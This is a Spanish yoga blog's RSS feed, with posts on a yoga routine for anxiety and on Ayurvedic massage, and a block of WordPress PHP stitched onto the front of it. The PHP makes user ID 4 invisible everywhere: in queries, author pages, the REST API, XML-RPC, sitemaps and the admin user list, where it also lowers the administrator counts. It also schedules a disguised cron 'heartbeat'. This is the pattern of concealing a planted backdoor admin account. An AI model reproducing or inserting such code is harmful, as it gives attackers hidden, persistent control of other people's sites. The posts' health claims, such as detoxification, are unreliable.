add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
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add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
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add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
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    if ( ! is_admin() && $q->is_main_query() ) {
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            'author__not_in',
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add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
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    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
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    $exclude[] = 4;
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add_filter( 'wp_dropdown_users_args', function( $a ) {
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    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

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    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
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            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
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    return $result;
}, 10, 3 );

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        $methods['wp.getUsers'],
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                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
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	<title>bienestar &#8211; Yoga con Arjuna</title>
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	<item>
		<title>¿Ansiedad? Esta sesión de Yoga te ayudará a eliminarla</title>
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		<pubDate>Mon, 30 Jan 2017 10:42:17 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
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		<category><![CDATA[ANSIEDAD]]></category>
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		<description><![CDATA[<p>La ansiedad es una respuesta que aparece cuando te sientes en peligro. Es una reacción natural que nos protege y que a la vez activa nuestro sistema nervioso provocando una serie de reacciones desagradables en nuestro cuerpo. Hay que entender que a pesar de tener estas sensaciones poco placenteras la ansiedad es algo normal, que en cierta medida puede ser...&#160;<a href="http://www.yogaconarjuna.com/2017/01/30/ansiedad-esta-sesion-de-yoga-te-ayudara-a-eliminarla/">[Leer&#160;más]</a></p>
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]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">La ansiedad es una respuesta que aparece cuando te sientes en peligro. Es una reacción natural que nos protege y que a la vez activa nuestro sistema nervioso provocando una serie de reacciones desagradables en nuestro cuerpo. Hay que entender que a pesar de tener estas sensaciones poco placenteras la ansiedad es algo normal, que en cierta medida puede ser positiva ya que nos activa y nos permite protegernos de algún peligro.</p>
<p style="text-align: justify;"><span id="more-1098"></span></p>
<p style="text-align: justify;">La correcta actuación siempre será tomar conciencia de lo que nos esta sucediendo y adoptar una respiración cada vez más calmada para relajarnos y poder salir de este estado.</p>
<p style="text-align: justify;">A continuación encontrarás una sesión de yoga dedicada a la disminución de la ansiedad. Pruébala y verás como tu también te puedes enriquecerte de los beneficios de las asanas para combatir la ansiedad.</p>
<p>Antes de empezar la práctica es importante hacer una pequeña meditación para dejar atrás los pensamientos y conectar con tu cuerpo para sentirte en el aquí y ahora.</p>
<p>&nbsp;</p>
<p><strong>Maryariasana de pie </strong></p>
<p style="text-align: justify;"><strong>Técnica: </strong>Partimos de la postura de Tadasana (Posición anatómica de pie). Flexionamos las piernas ligeramente, colocamos manos sobre raíz del muslo con los pulgares hacia adelante.</p>
<p style="text-align: justify;">Inhalando atraso codos abriendo el tórax, exhalando codos hacia adelante dejando caer cabeza, cuando haya vaciado todo el aire repetimos muy suave dejando que poco a poco se vaya flexibilizando la columna.</p>
<p style="text-align: justify;">La duración de esta preparación vertebran será de unos 2’</p>
<p style="text-align: justify;"><strong>Beneficios: </strong>Flexibiliza la columna vertebral, combate el estrés eliminando la agresividad acumulada.<span style="margin: 0; line-height: 115%; font-family: 'Baskerville Old Face', 'serif'; font-size: 16pt;"> </span></p>

<a href='http://www.yogaconarjuna.com/2017/01/30/ansiedad-esta-sesion-de-yoga-te-ayudara-a-eliminarla/2016-11-13-14-42-02/'><img width="150" height="150" src="http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-42-02-150x150.jpg" class="attachment-thumbnail size-thumbnail" alt="" /></a>
<a href='http://www.yogaconarjuna.com/2017/01/30/ansiedad-esta-sesion-de-yoga-te-ayudara-a-eliminarla/2016-11-13-14-43-10/'><img width="150" height="150" src="http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-43-10-150x150.jpg" class="attachment-thumbnail size-thumbnail" alt="" /></a>

<p><strong>Tadasana Lateral</strong></p>
<p style="text-align: justify;"><strong>Técnica: </strong>Partimos de la postura de Tadasana (Posición anatómica de pie). Unimos talones y puntas de los pies hacia afuera, columna recta, manos entrelazadas detrás del occipital y codos ligeramente atrasados.</p>
<p style="text-align: justify;">Inhalando dejo caer la cadera hacia la derecha con la columna bien recta, exhalando recupero posición. Siguiente respiración trabajaremos el otro lado, así sucesivamente sin forzar y hundiendo abdomen para proteger lumbares.</p>
<p style="text-align: justify;">La duración de este estiramiento lateral será de unos 2’</p>
<p style="text-align: justify;"><strong> </strong><strong>Beneficios: </strong>Estira la musculatura lateral, flexibiliza la espina dorsal previniendo lumbagos, dolores de espalda, escoliosis y mejora el equilibrio y la concentración mental.</p>
<p><img class=" wp-image-1131 aligncenter" src="http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-43-59.jpg" alt="2016-11-13-14-43-59" width="350" height="263" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-43-59.jpg 1276w, http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-43-59-300x225.jpg 300w, http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-43-59-768x576.jpg 768w, http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-43-59-1024x768.jpg 1024w" sizes="(max-width: 350px) 100vw, 350px" /></p>
<p><strong>Vrksasana</strong></p>
<p style="text-align: justify;"><strong> </strong><strong>Técnica: </strong>Partimos de la postura de Tadasana (Posición anatómica de pie). Piernas situadas a la anchura de las caderas, empezamos trabajando lado derecho así que dejamos caer todo el peso hacia la derecha. Todo el peso situado en pie derecho y lentamente anclamos la mirada en un punto que nos permita mantener el equilibrio. Elevamos el pie izquierdo y lo colocamos en el hueco interno de la rodilla derecha. Cuando haya una buena estabilidad unimos las manos en el centro de pecho en Namaste Mudra.</p>
<p style="text-align: justify;">La duración de esta asana será de unos 2’ por lado.</p>
<p style="text-align: justify;"><strong>Beneficios: </strong>Mejora el equilibrio y la fortaleza. Equilibra las emociones, la concentración, el sosiego, mantiene la mente clara y serena, desarrolla la conciencia de nuestro cuerpo y nos conecta con la realidad material.</p>
<p><img class=" wp-image-1128 aligncenter" src="http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-41-04.jpg" alt="2016-11-13-14-41-04" width="350" height="263" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-41-04.jpg 1276w, http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-41-04-300x225.jpg 300w, http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-41-04-768x576.jpg 768w, http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-41-04-1024x768.jpg 1024w" sizes="(max-width: 350px) 100vw, 350px" /></p>
<p><strong>Bhujangasana     </strong></p>
<p style="text-align: justify;"><strong> </strong><strong>Técnica: </strong>Partimos de posición prona (boca abajo).Presiona tus palmas de la mano contra el suelo a la altura del pecho y bajo tus hombros. Estira tus brazos, arquea tu columna vertebral abriendo el tórax, hundiendo el abdomen y mira hacia adelante.</p>
<p style="text-align: justify;">La duración de esta asana será de unos 2’.</p>
<p style="text-align: justify;"><strong>Beneficios: </strong>Fortalece la espalda y los hombros, expande el tronco flexibilizándolo. Elimina todo tipo de rencores emocionales y activa nuestro amor incondicional, dar y recibir sin esperar nada a cambio.</p>
<p><img class=" wp-image-1127 aligncenter" src="http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-39-48.jpg" alt="2016-11-13-14-39-48" width="350" height="263" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-39-48.jpg 1276w, http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-39-48-300x225.jpg 300w, http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-39-48-768x576.jpg 768w, http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-39-48-1024x768.jpg 1024w" sizes="(max-width: 350px) 100vw, 350px" /></p>
<p><strong>Dandasana</strong></p>
<p style="text-align: justify;"><strong> </strong><strong>Técnica: </strong>Posición bastón, sentado en el suelo con las piernas estiradas. Presiona las piernas hacia el suelo y apuntala los dedos de los pies hacia arriba. Presiona las yemas de los dedos de las manos contra el suelo junto a las caderas. Estira la columna y mantén el mentón entrado ligeramente hacia adentro.</p>
<p style="text-align: justify;">La duración de esta asana será de unos 2’.</p>
<p style="text-align: justify;"><strong>Beneficios: </strong>Fortalece la musculatura de la espalda y  flexibiliza toda la cadena muscular posterior. Estira el sistema nervioso y te relaja, eliminando la ansiedad el estrés.</p>
<p><img class=" wp-image-1126 aligncenter" src="http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-38-23.jpg" alt="2016-11-13-14-38-23" width="349" height="262" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-38-23.jpg 1276w, http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-38-23-300x225.jpg 300w, http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-38-23-768x576.jpg 768w, http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-38-23-1024x768.jpg 1024w" sizes="(max-width: 349px) 100vw, 349px" /></p>
<p><strong>Ardha Marichyasana</strong></p>
<p style="text-align: justify;"><strong> T</strong><strong>écnica: </strong>Sentado en Dandasana (Posición bastón), en el suelo con las piernas estiradas. Flexiono la pierna derecha llevando el talón lo más cerca posible del glúteo con la planta del pie apoyada. Manteniendo la columna bien recta roto hacia la derecha abrazándome a la pierna flexionada con el brazo izquierdo. La mano derecha queda detrás apuntalada por las yemas de los dedos.</p>
<p style="text-align: justify;">La duración de esta asana será de unos 2’ por lado.</p>
<p style="text-align: justify;"><strong> </strong><strong>Beneficios: </strong>Estira la columna vertebral, la flexibiliza y estimula los órganos internos facilitando la digestión. Calma el cerebro relajándote de pensamientos.</p>
<p><img class=" wp-image-1125 aligncenter" src="http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-36-45.jpg" alt="2016-11-13-14-36-45" width="350" height="263" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-36-45.jpg 1276w, http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-36-45-300x225.jpg 300w, http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-36-45-768x576.jpg 768w, http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-13-14-36-45-1024x768.jpg 1024w" sizes="(max-width: 350px) 100vw, 350px" /></p>
<p><strong> Supta Pachimottanasana</strong></p>
<p style="text-align: justify;"><strong> </strong><strong>Técnica: </strong>Estirados en Savasana (Posición cadáver). Espalda bien apoyada al suelo, hombros atrasados y también apoyados creando una base en el suelo, flexiono piernas y las elevo estirándolas hacia arriba. Si el mantenimiento es muy intenso ayúdate de una pared o de cintas.</p>
<p style="text-align: justify;">La duración de esta asana será de unos 2’.</p>
<p style="text-align: justify;"><strong> </strong><strong>Beneficios: </strong>Estira por completo la musculatura posterior, tonifica el abdomen. Relaja el sistema nervioso permitiéndote establecer un estado de sedación completo, ideal para finalizar la sesión de yoga.</p>
<p><img class=" wp-image-1132 aligncenter" src="http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-20-19-08-39.jpg" alt="2016-11-20-19-08-39" width="350" height="279" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-20-19-08-39.jpg 1276w, http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-20-19-08-39-300x239.jpg 300w, http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-20-19-08-39-768x612.jpg 768w, http://www.yogaconarjuna.com/wp-content/uploads/2017/01/2016-11-20-19-08-39-1024x816.jpg 1024w" sizes="(max-width: 350px) 100vw, 350px" /></p>
<p>&nbsp;</p>
<p style="text-align: center;">¡DISFRUTAR DE ESTA PRACTICA SENCILLA Y DI ADIOS A LA ANSIEDAD!</p>
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		<title>Masaje Ayurveda</title>
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		<pubDate>Mon, 19 Dec 2016 10:34:35 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
				<category><![CDATA[Sin categoría]]></category>
		<category><![CDATA[ayurveda]]></category>
		<category><![CDATA[bienestar]]></category>
		<category><![CDATA[Masaje Ayurveda]]></category>
		<category><![CDATA[salud]]></category>
		<category><![CDATA[terapiasnaturales]]></category>
		<category><![CDATA[Yoga]]></category>
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		<description><![CDATA[<p>Hace un par de años tuve la suerte de encontrar un camino muy bello en mi vida que me enseñó a profundizar en los orígenes de una parte fundamental del yoga, el Ayurveda. Ayurveda  significa «ciencia de la vida» es la medicina más antigua que se conoce a día de hoy, para tratarla se busca...&#160;<a href="http://www.yogaconarjuna.com/2016/12/19/masaje-ayurveda/">[Leer&#160;más]</a></p>
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				<content:encoded><![CDATA[<p style="text-align: justify;"><span style="margin: 0; font-family: 'Century Gothic', 'sans-serif';"><span style="color: #000000; font-size: medium;">Hace un par de años tuve la suerte de encontrar un camino muy bello en mi vida que me enseñó a profundizar en los orígenes de una parte fundamental del yoga, el Ayurveda.</span></span><span id="more-970"></span></p>
<p style="text-align: justify;"><span style="margin: 0; font-family: 'Century Gothic', 'sans-serif';"><span style="color: #000000; font-size: medium;">Ayurveda</span><span style="color: #000000; font-size: medium;">  </span><span style="color: #000000; font-size: medium;">significa «ciencia de la vida» es la medicina más antigua que se conoce a día de hoy, para tratarla se busca un</span><span style="color: #000000; font-size: medium;">  </span><span style="color: #000000; font-size: medium;">entorno fuera de la civilización ya que siempre buscamos nuestra fuente más</span><span style="color: #000000; font-size: medium;">  </span><span style="color: #000000; font-size: medium;">natural, será la mejor manera de empezar a tratar al paciente con Ayurveda.</span></span></p>
<p style="text-align: justify;"><span style="margin: 0; font-family: 'Century Gothic', 'sans-serif';"><span style="color: #000000; font-size: medium;">Aunque esta es otra vertiente que hoy no hablaré, hoy os voy a contar los beneficios de un masaje ayurveda que es mi especialidad.</span></span></p>
<p style="text-align: justify;"><span style="margin: 0; font-family: 'Century Gothic', 'sans-serif';"><span style="color: #000000; font-size: medium;">Este masaje viene del sur de India y se llama Agashtya</span></span></p>
<p style="text-align: justify;"><span style="margin: 0; font-family: 'Century Gothic', 'sans-serif';"><span style="color: #000000; font-size: medium;">Es un masaje físico en el cual hacemos que la energía transmute</span><span style="color: #000000; font-size: medium;">  </span><span style="color: #000000; font-size: medium;">de los pies hacia arriba, se realiza boca abajo, boca arriba, sentado y cabeza. Con los dedos se va presionando por los meridianos y puntos Marma para eliminar bloqueos.</span></span></p>
<p style="text-align: justify;"><span style="margin: 0; font-family: 'Century Gothic', 'sans-serif';"><span style="color: #000000; font-size: medium;">Es muy agradable y relajante, regenera células y desintoxica tu cuerpo.</span></span></p>
<p style="text-align: justify;"><span style="margin: 0; font-family: 'Century Gothic', 'sans-serif';"><span style="color: #000000; font-size: medium;">El aceite que se usa es totalmente ecológico y echo por el terapeuta con sus plantas medicinales para sanar y regenerar piel.</span></span></p>
<p style="text-align: justify;"><span style="margin: 0; font-family: 'Century Gothic', 'sans-serif';"><span style="color: #000000; font-size: medium;">Todo eso adjunto con una conciencia para sanar a la vez que se recitan mantras sagrados.</span></span></p>
<p style="text-align: justify;"><span style="margin: 0; font-family: 'Century Gothic', 'sans-serif';"><span style="color: #000000; font-size: medium;">¡Así que la mejor manera de experimentar el ayurveda es conectando conmigo y probar este magnífico masaje! A hoy conocida y ancla sus bases en la alimentación y el entorno. Una alimentación yoguica unido a un </span></span></p>
<p style="text-align: justify;"><span style="margin: 0; font-family: 'Century Gothic', 'sans-serif';"><span style="color: #000000; font-size: medium;">Te espero. ARJUNA</span></span></p>
<p style="text-align: justify;"><img class="alignnone size-full wp-image-969" src="https://yogaconarjuna.files.wordpress.com/2016/12/img_7053.jpg" alt="img_7053" width="2045" height="1271" /></p>
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